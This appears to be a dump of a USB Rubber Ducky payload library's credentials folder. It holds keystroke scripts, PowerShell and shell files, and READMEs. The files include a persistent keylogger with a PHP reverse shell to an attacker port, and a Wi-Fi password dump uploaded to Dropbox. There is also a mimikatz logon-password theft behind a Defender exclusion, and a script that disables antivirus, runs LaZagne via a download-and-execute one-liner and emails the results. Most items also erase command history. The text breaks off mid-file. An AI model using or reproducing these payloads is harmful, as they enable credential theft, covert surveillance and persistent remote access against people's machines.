    "content": "usage () { \n\techo -e \"DuckyLoggerDecoder is used to decode raw key strokes acquired by duckyLogger.\\n\"\n\techo -e \"Usage: \\nDecode captured log:\\t[./duckyLoggerDecoder -f <Logfile> -m <mode> -o <output file>]\"; \n\techo -e \"\\nOptions:\"\n\techo -e \"-f\\tSpecify Log file.\"\n\techo -e \"-m\\tSelect Mode(normal|informative)\"\n\techo -e \"-o\\tSpecify Output file.\"\n\techo -e \"-h\\tFor this banner.\"\n}\nwhile getopts o:m:f:h: flag\ndo\n    case \"${flag}\" in\n        o) output=$OPTARG ;;\n        m) mode=$OPTARG ;;\n\tf) filename=$OPTARG ;;\n\th) help=$OPTARG ;;\n\t*)\n\t\t\tusage\n                        exit 1\n    esac\ndone\n\nif [ -z \"$output\" ] && [ -z \"$filename\" ]; then\n\tusage\n        exit 1\nfi\nif [ -z \"$filename\" ]; then\n        echo -e \"DuckyLogDecoder: Missing option \\\"-f\\\"(Log file not specified).\\nUse \\\"-h\\\" for more information.\" >&2\n\texit 1\nfi\nif [ -z \"$output\" ]; then\n        echo -e \"DuckyLogDecoder: Missing option \\\"-o\\\"(Output file not specified).\\nUse \\\"-h\\\" for help.\" >&2\n\texit 1\nfi\nif [ -z \"$mode\" ]; then\n        echo -e \"DuckyLogDecoder: Missing option \\\"-m\\\"(Mode not specified).\\nUse \\\"-h\\\" for help.\" >&2\n        exit 1\nfi\nif [ \"$mode\" != \"informative\" ] && [ \"$mode\" != \"normal\" ]; then\n        echo -e \"DuckyLogDecoder: Invalid mode \\\"$mode\\\".\\nUse \\\"-h\\\" for help.\" >&2\n        exit 1\nfi\nif [ \"$mode\" == \"normal\" ] ; then\n        awk 'BEGIN{while ((\"xmodmap -pke\" | getline) > 0) k[$2]=$4} {print $0 \"[\" k [$NF] \"]\"}' $filename | grep press | awk '{print $4}' > $output\n        exit 1\nfi\nif [ \"$mode\" == \"informative\" ] ; then\n        awk 'BEGIN{while ((\"xmodmap -pke\" | getline) > 0) k[$2]=$4} {print $0 \"[\" k [$NF] \"]\"}' $filename > $output\n        exit 1\nfi\n"
  },
  {
    "path": "payloads/library/credentials/DuckyLogger/payload.txt",
    "content": "REM Title: DuckyLogger\nREM Description: Key logger which sends each and every key stroke of target remotely/locally.\nREM AUTHOR: drapl0n\nREM Version: 1.0\nREM Category: Credentials\nREM Target: Unix-like operating systems with systemd\nREM Attackmodes: HID\n\nREM [Note]\nREM Visit https://github.com/drapl0n/DuckyLogger for usage and other important instructions.\n\nREM [keeping tracks clear]\nDELAY 500\nCTRL-ALT t\nDELAY 400\nSTRING export HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE\nENTER\nDELAY 100\n\nREM [creating key logging mechanism]\nSTRING mkdir /var/tmp/.system\nENTER\nDELAY 100\nSTRING echo \"/var/tmp/.system/./xinput list | grep -Po 'id=\\K\\d+(?=.*slave\\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test\" > /var/tmp/.system/sys \nENTER\nDELAY 100\nSTRING chmod +x /var/tmp/.system/sys\nENTER\nDELAY 100\n\nREM [importing xinput]\nSTRING cd /var/tmp/.system/\nENTER\nDELAY 100\nSTRING wget --no-check-certificate --content-disposition https://github.com/drapl0n/DuckyLogger/blob/main/xinput\\?raw=true\nENTER\nDELAY 2500\nSTRING chmod +x xinput\nENTER\nDELAY 100\n\nREM [creating reverse shell]\nSTRING echo -e \"while :\\ndo\\n\\tping -c 5 0.0.0.0\\n\\tif [ $? -eq 0 ]; then\\n\\t\\tphp -r '\\$sock=fsockopen(\\\"0.0.0.0\\\",4444);exec(\"\\\"/var/tmp/.system/sys -i \"<&3 >&3 2>&3\"\\\"\");'\\n\\tfi\\ndone\" >  /var/tmp/.system/systemBus\nENTER\nDELAY 100\nSTRING chmod +x /var/tmp/.system/systemBus\nENTER\nDELAY 100\n\nREM [creating systemd service to execute payload on boot]\nSTRING mkdir -p ~/.config/systemd/user\nENTER\nDELAY 200\nSTRING echo -e \"[Unit]\\nDescription= System BUS handler\\n\\n[Service]\\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\\nRestart=on-failure\\nSuccessExitStatus=3 4\\nRestartForceExitStatus=3 4\\n\\n[Install]\\nWantedBy=default.target\" > ~/.config/systemd/user/systemBUS.service\nENTER\nDELAY 100\n\nREM [creating reboot script incase if listner stops or targets internet connection gets lost] \nSTRING echo \"while true; do systemctl --user restart systemBUS.service; sleep 15m; done\" > /var/tmp/.system/reboot\nENTER\nDELAY 100\nSTRING chmod +x /var/tmp/.system/reboot\nENTER\nDELAY 100\n\nREM [creating systemd service to execute payload on boot]\nSTRING echo -e \"[Unit]\\nDescription= System BUS handler reboot.\\n\\n[Service]\\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\\nRestart=on-failure\\nSuccessExitStatus=3 4\\nRestartForceExitStatus=3 4\\n\\n[Install]\\nWantedBy=default.target\" > ~/.config/systemd/user/reboot.service\nENTER\nDELAY 100\n\nREM [enabling service]\nSTRING systemctl --user daemon-reload\nENTER\nDELAY 300\nSTRING systemctl --user enable --now systemBUS.service\nENTER\nDELAY 150\nSTRING systemctl --user enable --now reboot.service\nENTER\nDELAY 100\n\nREM [autostarting service on terminal/shell launch]\nSTRING echo -e \"ls -a | grep 'zshrc' &> /dev/null\\nif [ \\$? = 0 ]; then\\n\\techo \\\"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\\\" >> ~/.zshrc\\nfi\\n\\nls -a | grep 'bashrc' &> /dev/null\\nif [ \\$? = 0 ]; then\\n\\techo \\\"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\\\" >> ~/.bashrc\\nfi\" > ~/tmmmp\nENTER\nDELAY 100\nSTRING chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit\nENTER\n"
  },
  {
    "path": "payloads/library/credentials/DuckyLogger2/README.md",
    "content": "## About:\n* Title: DuckyLogger 2.0\n* Description: Keylogger, which sends each and every keystroke of the target remotely/locally.\n* AUTHOR: drapl0n\n* Version: 2.0\n* Category: Credentials.\n* Target: Unix-like operating systems with systemd.\n* Attackmodes: HID.\n\n## DuckyLogger 2.0 is the most efficient version of the original DuckyLogger, which captures every keystroke of the traget and sends it back to the attacker.\n\n### Features:\n* Live keystroke capturing.\n* Detailed key logs.\n* Persistent.\n* Autostart payload on boot.\n\n### What's new ?\n* No trigger from the target's end is required.\n* Completely autostarts the payload on boot.\n* Removed unnecessary script blocks.\n* No need to run two different services.\n\n### Workflow:\n* Encoding payload and injecting it into the target's system.\n* Checks whether the internet is connected to the target system.\n* If the internet is connected, then it sends raw keystrokes to the attacker. \n* Attacker processes raw keystrokes.\n\n### Changes to be made in payload:\n* Replace ip (0.0.0.0) and port number (4444) with your server's ip address and port number on line no. `43`.\n* Increase/Decrease time interval to restart service periodically (default is 5 minutes), on line no. `59`.\n\n### Usage:\n1. Encode payload.txt and inject it into the target's system.\n2. Start Netcat listner on the attacking system:\n\n* `nc -lvp <port number> > <log filename>` use this command to create new a logfile with raw keystrokes.\n* `nc -lvp <port number> >> <log filename>` use this command to append raw keystrokes to an existing log file.\n3. Process raw keystrokes using the DuckyLoggerDecoder utility:\n```\n./duckyLoggerDecoder\nDuckyLoggerDecoder is used to decode raw key strokes acquired by duckyLogger.\n\nUsage: \nDecode captured log:    [./duckyLoggerDecoder -f <Logfile> -m <mode> -o <output file>]\n\nOptions:\n-f      Specify the log file.\n-m      Select Mode(normal|informative)\n-o      Specify an output file.\n-h      For this banner.\n```\n\n#### Support me if you like my work:\n* https://twitter.com/drapl0n\n"
  },
  {
    "path": "payloads/library/credentials/DuckyLogger2/duckyLoggerDecoder",
    "content": "usage () { \n\techo -e \"\\nDuckyLoggerDecoder is used to decode raw key strokes acquired by DuckyLogger.\\n\"\n\techo -e \"Usage: \\nDecode captured logs:\\t[./duckyLoggerDecoder -f <log file> -m <mode> -o <output file>]\"; \n\techo -e \"\\nOptions:\"\n\techo -e \"-f\\tSpecify the log file.\"\n\techo -e \"-m\\tSelect Mode(normal|informative)\"\n\techo -e \"-o\\tSpecify an output file.\"\n\techo -e \"-h\\tFor this banner.\"\n}\nwhile getopts o:m:f:h: flag\ndo\n    case \"${flag}\" in\n        o) output=$OPTARG ;;\n        m) mode=$OPTARG ;;\n\tf) filename=$OPTARG ;;\n\th) help=$OPTARG ;;\n\t*)\n\t\t\tusage\n                        exit 1\n    esac\ndone\n\nif [ -z \"$output\" ] && [ -z \"$filename\" ]; then\n\tusage\n        exit 1\nfi\nif [ -z \"$filename\" ]; then\n        echo -e \"DuckyLoggerDecoder: Missing option \\\"-f\\\"(Log file not specified).\\nUse \\\"-h\\\" for more information.\" >&2\n\texit 1\nfi\nif [ -z \"$output\" ]; then\n        echo -e \"DuckyLoggerDecoder: Missing option \\\"-o\\\"(Output file not specified).\\nUse \\\"-h\\\" for help.\" >&2\n\texit 1\nfi\nif [ -z \"$mode\" ]; then\n        echo -e \"DuckyLoggerDecoder: Missing option \\\"-m\\\"(Mode not specified).\\nUse \\\"-h\\\" for help.\" >&2\n        exit 1\nfi\nif [ \"$mode\" != \"informative\" ] && [ \"$mode\" != \"normal\" ]; then\n        echo -e \"DuckyLoggerDecoder: Invalid mode \\\"$mode\\\".\\nUse \\\"-h\\\" for help.\" >&2\n        exit 1\nfi\nif [ \"$mode\" == \"normal\" ] ; then\n        awk 'BEGIN{while ((\"xmodmap -pke\" | getline) > 0) k[$2]=$4} {print $0 \"[\" k [$NF] \"]\"}' $filename | grep press | awk '{print $4}' > $output\n        exit 1\nfi\nif [ \"$mode\" == \"informative\" ] ; then\n        awk 'BEGIN{while ((\"xmodmap -pke\" | getline) > 0) k[$2]=$4} {print $0 \"[\" k [$NF] \"]\"}' $filename > $output\n        exit 1\nfi\n"
  },
  {
    "path": "payloads/library/credentials/DuckyLogger2/payload.txt",
    "content": "REM Title: DuckyLogger 2.0\nREM Description: Keylogger which sends each and every keystroke of the target remotely/locally.\nREM AUTHOR: drapl0n\nREM Version: 2.0\nREM Category: Credentials\nREM Target: Unix-like operating systems with systemd.\nREM Attackmodes: HID\n\nREM [Note]\nREM Visit https://github.com/drapl0n/DuckyLogger2/README.md for usage and other important instructions.\n\nREM [keeping tracks clear]\nDELAY 500\nCTRL-ALT t\nDELAY 400\nSTRING export HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE\nENTER\nDELAY 100\n\nREM [creating key logging mechanism]\nSTRING mkdir /var/tmp/.system\nENTER\nDELAY 100\nSTRING echo \"/var/tmp/.system/./xinput list | grep -Po 'id=\\K\\d+(?=.*slave\\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test\" > /var/tmp/.system/sys \nENTER\nDELAY 100\nSTRING chmod +x /var/tmp/.system/sys\nENTER\nDELAY 100\n\nREM [importing xinput]\nSTRING cd /var/tmp/.system/\nENTER\nDELAY 100\nSTRING wget --no-check-certificate --content-disposition https://github.com/drapl0n/DuckyLogger/blob/main/xinput\\?raw=true\nENTER\nDELAY 2500\nSTRING chmod +x xinput\nENTER\nDELAY 100\n\nREM [creating reverse shell]\nSTRING echo -e \"while :\\ndo\\n\\tping -c 5 0.0.0.0\\n\\tif [ $? -eq 0 ]; then\\n\\t\\tphp -r '\\$sock=fsockopen(\\\"0.0.0.0\\\",4444);exec(\"\\\"/var/tmp/.system/sys -i \"<&3 >&3 2>&3\"\\\"\");'\\n\\tfi\\ndone\" >  /var/tmp/.system/systemBus\nENTER\nDELAY 100\nSTRING chmod +x /var/tmp/.system/systemBus\nENTER\nDELAY 100\n\nREM [creating systemd service to execute payload on boot]\nSTRING mkdir -p ~/.config/systemd/user\nENTER\nDELAY 200\nSTRING echo -e \"[Unit]\\nDescription= System BUS handler\\n\\n[Service]\\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\\nRestart=always\\nType=forking\\n\\n[Install]\\nWantedBy=default.target\" > ~/.config/systemd/user/systemBUS.service\nENTER\nDELAY 100\n\nREM [creating systemd timer unit] \nSTRING echo -e \"[Unit]\\nDescription= SystemBUS Timer\\n\\n[Timer]\\nOnBootSec=60seconds\\nOnUnitActiveSec=300seconds\\n\\n[Install]\\nWantedBy=timers.target\" > ~/.config/systemd/user/systemBUS.timer\nENTER\nDELAY 100\n\nREM [enabling service]\nSTRING systemctl --user daemon-reload\nENTER\nDELAY 300\nSTRING systemctl --user enable --now systemBUS.service && systemctl --user enable --now systemBUS.timer\nENTER\nDELAY 150\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/credentials/ExfiltrateWiFiPasswords_Linux/README.md",
    "content": " \n# Exfiltrate WiFi Passwords - Linux ✅\n\nA script used to exfiltrate the wifi passwords on a Linux machine.\n\n**Category**: Exfiltrate, Credentials, Execution\n\n## Description\n\nA script used to exfiltrate the wifi passwords on a Linux machine.\n\nOpens a shell, get the WiFi names, get the passwords using nmcli, send the result to Dropbox, erase traces.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* Dropbox Token\n* Permissions\n\n### Settings\n\n* Set the Dropbox token\n* Set the sudo password\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/credentials/ExfiltrateWiFiPasswords_Linux/payload.txt",
    "content": "\nREM #######################################################\nREM #                                                     |\nREM # Title        : Exfiltrate Wifi Passwords - Linux    |\nREM # Author       : Aleff                                |\nREM # Version      : 1.0                                  |\nREM # Category     : Exfiltration, Credentials, Execution |\nREM # Target       : Linux                                |\nREM #                                                     |\nREM #######################################################\n\nREM Requirements:\nREM     - Permissions\nREM     - Internet connection\nREM     - Dropbox Token\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\n\nREM #### PREREQUISITES SECTION ####\n\n\nREM Required: You need to know the sudo password and replace 'example' with this\nDEFINE SUDO_PASS example\nSTRING sudo su\nENTER\n\nDELAY 1000\nSTRING SUDO_PASS\nENTER\n\nDELAY 2000\nREM Required: Set here your Dropbox access TOKEN\nDEFINE TOKEN example\nSTRING ACCESS_TOKEN=\"\nSTRING TOKEN\nSTRING \"\nENTER\n\n\nREM #### ZIP SECTION ####\n\n\nDELAY 500\nSTRING RANDOM=$(shuf -i 1-999999999999 -n 1)\nENTER\n\nDELAY 500\nSTRING ZIP_NAME=\"$RANDOM.zip\"\nENTER\n\nDELAY 500\nSTRING TMP_FOLDER_PATH=$(mktemp -d -p \"/home\" prefix-XXXXXXXXXX)\nENTER\n\nDELAY 500\nSTRING ZIP_PATH=\"/home/$ZIP_NAME\"\nENTER\n\n\nREM #### WiFi && ZIP SECTION ####\n\n\nREM Get all WiFi data\nSTRING for conn in $(nmcli connection show | grep wifi | awk '{print $1}'); do\nENTER\nDELAY 500\nSTRING     nmcli connection show $conn >> \"$TMP_FOLDER_PATH/output_verbose.txt\" -\nENTER\nDELAY 500\nSTRING     nmcli connection show $conn | grep psk >> \"$TMP_FOLDER_PATH/output.txt\" -\nENTER\nDELAY 500\nSTRING done\nENTER\nDELAY 500\nREM Wifi exfiltration command time - It depends\nDELAY 1000\n\nSTRING zip -r \"$ZIP_PATH\" \"$TMP_FOLDER_PATH\"\nREM Zip operation time - It depends\nDELAY 3000\n\n\nREM #### EXFILTRATE SECTION ####\n\n\nREM Set yout Dropbox folder name\nDEFINE DROPBOX_FOLDER_NAME example\nSTRING DROPBOX_FOLDER=\"/\nENTER\nSTRING DROPBOX_FOLDER_NAME\nENTER\nSTRING \"\nENTER\nDELAY 500\n\nDEFINE DROPBOX_API_CONST https://content.dropboxapi.com/2/files/upload\nSTRING curl -X POST\nSTRING DROPBOX_API_CONST\nSTRING --header \"Authorization: Bearer $ACCESS_TOKEN\" --header \"Dropbox-API-Arg: {\\\"path\\\": \\\"$DROPBOX_FOLDER\\\",\\\"mode\\\": \\\"add\\\",\\\"autorename\\\": true,\\\"mute\\\": false}\" --header \"Content-Type: application/octet-stream\" --data-binary \"@$ZIP_PATH\"\nENTER\n\n\nREM #### REMOVE TRACES ####\n\n\nDELAY 2000\nSTRING history -c\nENTER\n\nDELAY 500\nSTRING rm -rf \"$TMP_FOLDER_PATH\"\nENTER\n\nDELAY 500\nSTRING rm -rf \"$ZIP_PATH\"\nENTER\n\nDELAY 500\nSTRING exit\nENTER\n\nDELAY 500\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/credentials/ExfiltrateWiFiPasswords_Linux/script.sh",
    "content": "#!/bin/bash\n\nfor conn in $(nmcli connection show | grep wifi | awk '{print $1}'); do\n    nmcli connection show $conn >> \"$TMP_FOLDER_PATH/output_verbose.txt\" -\n    nmcli connection show $conn | grep psk >> \"$TMP_FOLDER_PATH/output.txt\" -\ndone\n"
  },
  {
    "path": "payloads/library/credentials/Funni_Stick_V3/Funni_Stick_V3",
    "content": "REM -----Title: Funni Stick V3\nREM -----Author: Maker (https://github.com/MakeshiftMaker)\nREM -----Desc: A varient of Win_Pass_Grabber by makozort but not reliant on Internet potentially ignoring any server-side-issues with Downloading/Uploading Files and Logs\nREM -----Your Rubber-Ducky will has to run on Twin-Duck Firmware for this to work (see README.txt)\nREM -----Target: Logged in Win10 System with Admin access (maybe Win7 too)\nREM -----ONLY USE THIS ON MACHINES YOU HAVE PERMISSION TO PENTEST, I'M NOT LIABLE FOR ANY MISCHIEF YOU MIGHT CAUSE. I KNOW YOU ARE GOING TO IGNORE THIS. THIS TEXT IS MORE FOR ME THAN IT IS FOR YOU\n\nREM -----Set Default delay to 350 for a midrange computer, for faster computers/testing this can be decreased to 250\nDEFAULT_DELAY 350\nREM -----Delay of 1.5 seconds to let the \"Keyboard\" initialize\nDELAY 1500\n\nREM -----open Powershell as Admin\nGUI r\nSTRING powershell\nCTRL-SHIFT ENTER\nDELAY 1000\nLEFT\nENTER\nDELAY 500\n\nREM -----This long boy saves the Drive-Letter (E:, F:, G:) into a local variable called duckletter by id'ing it from its Size. This way we can find and execute things saved on there\nREM -----There is propably a better way to do this but i havent figured it out yet\nSTRING $duckletter = Get-WmiObject -Query \"select * from win32_diskdrive where Size=123379200\" | %{gwmi -Query \"ASSOCIATORS OF {Win32_DiskDrive.DeviceID=`\"$($_.DeviceID.replace('\\','\\\\'))`\"} WHERE AssocClass = Win32_DiskDriveToDiskPartition\"} |  %{gwmi -Query \"ASSOCIATORS OF {Win32_DiskPartition.DeviceID=`\"$($_.DeviceID)`\"} WHERE AssocClass = Win32_LogicalDiskToPartition\"} | %{$_. deviceid}\nENTER\nREM -----Lets Disable the antivirus (for now)\nSTRING Import-Module Defender\nENTER\nSTRING Set-MpPreference -ExclusionPath $duckletter\nENTER\nREM -----Switch to the Ducky\nSTRING cd $duckletter\nENTER\nREM -----Run Mimikatz and save the output onto a .txt file named after the UserName\nSTRING .\\pw.exe > $env:UserName`.txt -and type $env:UserName`.txt\nENTER\nSTRING privilege::debug\nENTER\nSTRING sekurlsa::logonPasswords full\nENTER\nSTRING exit\nENTER\n\nREM -----Cleanup Time!\nREM -----Lets Enable the antivirus again\nSTRING Remove-MpPreference -ExclusionPath $duckletter\nENTER\nREM -----remove Powerhsell history\nSTRING Remove-Item (Get-PSreadlineOption).HistorySavePath\nENTER\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/credentials/Funni_Stick_V3/README.txt",
    "content": "Funni Stick V3 is the third generation of Maker Inc. Funni Stick Products.\r\nSteal Windows Passwords in 30 Seconds (or less)!\r\n\r\nIt runs on the same core principle as the \"Simple_User_Password_Grabber\" by makozort (https://github.com/makozort thank you makozort!)\r\nThis time using the Twin Duck Firmware on the Rubber-Ducky and a couple of optimiziations it's just the slightest bit faster + it doesnt require Internet access to work potentailly bypassing any firewall/network restrictions.\r\nOne less Dependancy is always good.\r\n\r\nFor this to work youll need 2 things saved on the Rubber ducky\r\n1. The Funni_Stick_V3 Script (in inject.bin format)\r\n2. mimikatz.exe renamed to pw.exe (if you really want to you can change this if you adjust the Funni_Stick_V3 script)\r\n\r\nUsers and Password(hashes) will be saved back onto the stick named after the Username of the machine it was run on for easy identification.(slick right?)\r\nIt is recommended that you pull out the Ducky after everything is done asap because windows defender might delete your copy of mimikatz.exe\r\nI tried to be fancy and include a powershell command that automatically ejects the drive. But when i tested it on another USB, the ejection did work, but now i cant plug them back in. Ive bricked 3 USB Sticks this way. Feel free to yell a soloution my way.\r\n"
  },
  {
    "path": "payloads/library/credentials/Hasta lasagna!/Hasta Lasagna.ps1",
    "content": "# Function from https://gist.github.com/lalibi/3762289efc5805f8cfcf (Hide Powershell Window)\nfunction Set-WindowState {\n    <#\n    .LINK\n    https://gist.github.com/Nora-Ballard/11240204\n    #>\n\n    [CmdletBinding(DefaultParameterSetName = 'InputObject')]\n    param(\n        [Parameter(Position = 0, Mandatory = $true, ValueFromPipeline = $true)]\n        [Object[]] $InputObject,\n\n        [Parameter(Position = 1)]\n        [ValidateSet('FORCEMINIMIZE', 'HIDE', 'MAXIMIZE', 'MINIMIZE', 'RESTORE',\n                     'SHOW', 'SHOWDEFAULT', 'SHOWMAXIMIZED', 'SHOWMINIMIZED',\n                     'SHOWMINNOACTIVE', 'SHOWNA', 'SHOWNOACTIVATE', 'SHOWNORMAL')]\n        [string] $State = 'SHOW',\n        [switch] $SuppressErrors = $false,\n        [switch] $SetForegroundWindow = $false\n    )\n\n    Begin {\n        $WindowStates = @{\n        'FORCEMINIMIZE'         = 11\n            'HIDE'              = 0\n            'MAXIMIZE'          = 3\n            'MINIMIZE'          = 6\n            'RESTORE'           = 9\n            'SHOW'              = 5\n            'SHOWDEFAULT'       = 10\n            'SHOWMAXIMIZED'     = 3\n            'SHOWMINIMIZED'     = 2\n            'SHOWMINNOACTIVE'   = 7\n            'SHOWNA'            = 8\n            'SHOWNOACTIVATE'    = 4\n            'SHOWNORMAL'        = 1\n        }\n\n        $Win32ShowWindowAsync = Add-Type -MemberDefinition @'\n[DllImport(\"user32.dll\")]\npublic static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);\n[DllImport(\"user32.dll\", SetLastError = true)]\npublic static extern bool SetForegroundWindow(IntPtr hWnd);\n'@ -Name \"Win32ShowWindowAsync\" -Namespace Win32Functions -PassThru\n\n        if (!$global:MainWindowHandles) {\n            $global:MainWindowHandles = @{ }\n        }\n    }\n\n    Process {\n        foreach ($process in $InputObject) {\n            $handle = $process.MainWindowHandle\n\n            if ($handle -eq 0 -and $global:MainWindowHandles.ContainsKey($process.Id)) {\n                $handle = $global:MainWindowHandles[$process.Id]\n            }\n\n            if ($handle -eq 0) {\n                if (-not $SuppressErrors) {\n                    Write-Error \"Main Window handle is '0'\"\n                }\n                continue\n            }\n\n            $global:MainWindowHandles[$process.Id] = $handle\n\n            $Win32ShowWindowAsync::ShowWindowAsync($handle, $WindowStates[$State]) | Out-Null\n            if ($SetForegroundWindow) {\n                $Win32ShowWindowAsync::SetForegroundWindow($handle) | Out-Null\n            }\n\n            Write-Verbose (\"Set Window State '{1} on '{0}'\" -f $MainWindowHandle, $State)\n        }\n    }\n}\n\nSet-Alias -Name 'Set-WindowStyle' -Value 'Set-WindowState'\n\n# Disable real time protection\nSet-MpPreference -DisableRealtimeMonitoring $true\n# Minimize window \nGet-Process -ID $PID | Set-WindowState -State HIDE\n# Create a tmp directory in the Downloads folder\n$dir = \"C:\\Users\\$env:UserName\\Downloads\\tmp\"\nNew-Item -ItemType Directory -Path $dir\n# Add an exception to Windows Defender for the tmp directory\nAdd-MpPreference -ExclusionPath $dir\n#Hide the directory\n$hide = Get-Item $dir -Force\n$hide.attributes='Hidden'\n# Download the executable\nInvoke-WebRequest -Uri \"https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe\" -OutFile \"$dir\\lazagne.exe\"\n# Execute the executable and save output to a file\n& \"$dir\\lazagne.exe\" all > \"$dir\\output.txt\"\n\n# Exfiltrate the file\n#POST REQUEST\n#Invoke-WebRequest -Uri \"http://IP:PORT0\" -Method POST -Body Get-Content \"$dir\\output.txt\"\n\n#Mail Exfiltration\n$smtp = \"\" # Put SMTP SERVER HERE, TESTED WITH GOOGLES\n$From = \"\" # Put the SENDER HERE\n$To = \"\" # Put the RECEIVER HERE\n$smtp = \"\" # PUT YOUR SMTP SERVER HERE (TESTED WITH GOOGLE)\n$Subject = \"Ducky Rapport\"\n$Body = \"Hi, here is the Rapport\"\n\n# The password is an app-specific password if you have 2-factor-auth enabled\n$Password = \"\" | ConvertTo-SecureString -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $From, $Password\n# The smtp server used to send the file\nSend-MailMessage -From $From -To $To -Subject $Subject -Body $Body -Attachments \"$dir\\output.txt\" -SmtpServer $smtp -port 587 -UseSsl -Credential $Credential\n\n# Clean up\nRemove-Item -Path $dir -Recurse -Force\nSet-MpPreference -DisableRealtimeMonitoring $false\nRemove-MpPreference -ExclusionPath $dir\n\n# Remove the script from the system\nClear-History\n\n# Reboot the system\nRestart-Computer -Force\n"
  },
  {
    "path": "payloads/library/credentials/Hasta lasagna!/payload.txt",
    "content": "REM TITLE \"Hasta lasagna!\"\nREM AUTHOR m4ki3lf0\nREM TARGET Approved on Win10, Probably working on Win11\nREM DESCRIPTION This will download the password exfiltration script (your modified version for your preferred exfiltration method), download execute lazagne.exe save result to a file and send it to yourself\nREM VERSION 1.0\n\nDEFAULT_DELAY 300\nDELAY 1000\nGUI r\nSTRING powershell -exec bypass -NoP\nCTRL SHIFT ENTER\nDELAY 100\nLEFT\nENTER\nDELAY 100\nSTRING iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/m4ki3lf0/BadUsbScripts/main/PasswordExfiltration/PasswordExfiltration.ps1')\nENTER\n"
  },
  {
    "path": "payloads/library/credentials/Local_WLAN_Borrower/1.ps1",
    "content": "# Define the volume label you're looking for\r\n$targetLabel = \"DUCKY\"\r\n\r\n# Find the drive letter of the USB drive with the specified label\r\n$volume = Get-Volume | Where-Object { $_.FileSystemLabel -eq $targetLabel }\r\n\r\nif ($volume) {\r\n    $driveLetter = $volume.DriveLetter + \":\\\"\r\n    $usbPath = \"$driveLetter$env:username.txt\"\r\n    $baseDestinationDir = $driveLetter\r\n    Write-Output \"Drive letter found: $driveLetter\"\r\n} else {\r\n    Write-Error \"Drive with label '$targetLabel' not found.\"\r\n    exit\r\n}\r\n\r\n# Initialize an array to store all Wi-Fi profiles and their passwords\r\n$wifiData = @()\r\n\r\n# Get all Wi-Fi profiles\r\n$profiles = netsh wlan show profile | Select-String '(?<=All User Profile\\s+:\\s).+'\r\n\r\nforeach ($profile in $profiles) {\r\n    $wlan = $profile.Matches.Value.Trim()\r\n\r\n    # Get the password for the current Wi-Fi profile\r\n    $passw = netsh wlan show profile $wlan key=clear | Select-String '(?<=Key Content\\s+:\\s).+'\r\n    $password = if ($passw) { $passw.Matches.Value.Trim() } else { \"No Password Found\" }\r\n\r\n    # Create a custom object with the profile and password information\r\n    $wifiData += [PSCustomObject]@{\r\n        Username = $env:username\r\n        Profile  = $wlan\r\n        Password = $password\r\n    }\r\n}\r\n\r\n# Convert the array of Wi-Fi data to JSON\r\n$jsonBody = $wifiData | ConvertTo-Json -Depth 3\r\n\r\n# Save the JSON data to a file on the USB drive\r\n$jsonBody | Out-File -FilePath $usbPath -Encoding UTF8\r\n\r\n\r\n\r\n# Clear the PowerShell command history\r\nClear-History\r\n\r\nexit\r\n"
  },
  {
    "path": "payloads/library/credentials/Local_WLAN_Borrower/README.md",
    "content": "### Local_WLAN_Borrower\nThis script borrows the wifi passwords on the target system and puts them into a .txt file on the ducky.\n\n# Setup\nFirstly, download and place the _1.ps1_ script onto the root of your ducky. Then, you will need to edit the inject.txt file accordingly:\nOn line 57, change \"DUCKY\" to the label of your USB. On line 59, change 1.ps1 to the name of the PS1 script on your ducky. \nInside of the PS1 script, you will need to replace _DUCKY_ on line 2 with the label of your USB. \n"
  },
  {
    "path": "payloads/library/credentials/Local_WLAN_Borrower/payload.txt",
    "content": "REM Title:         Local_WLAN_Borrower\nREM Description:   Borrows wifi passwords and saves them on the DUCKY\nREM Author:        YEETBOY0330\nREM Props:         Zero_Sploit(DUCKY-WIFI-GRABBER) + Hak5 Team\nREM Version:       1.0\nREM Category:      Creds\nREM Target:        Windows 10 & 11\nREM Attackmodes:   HID, STORAGE\n\nATTACKMODE HID STORAGE\nDEFAULTDELAY 20\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    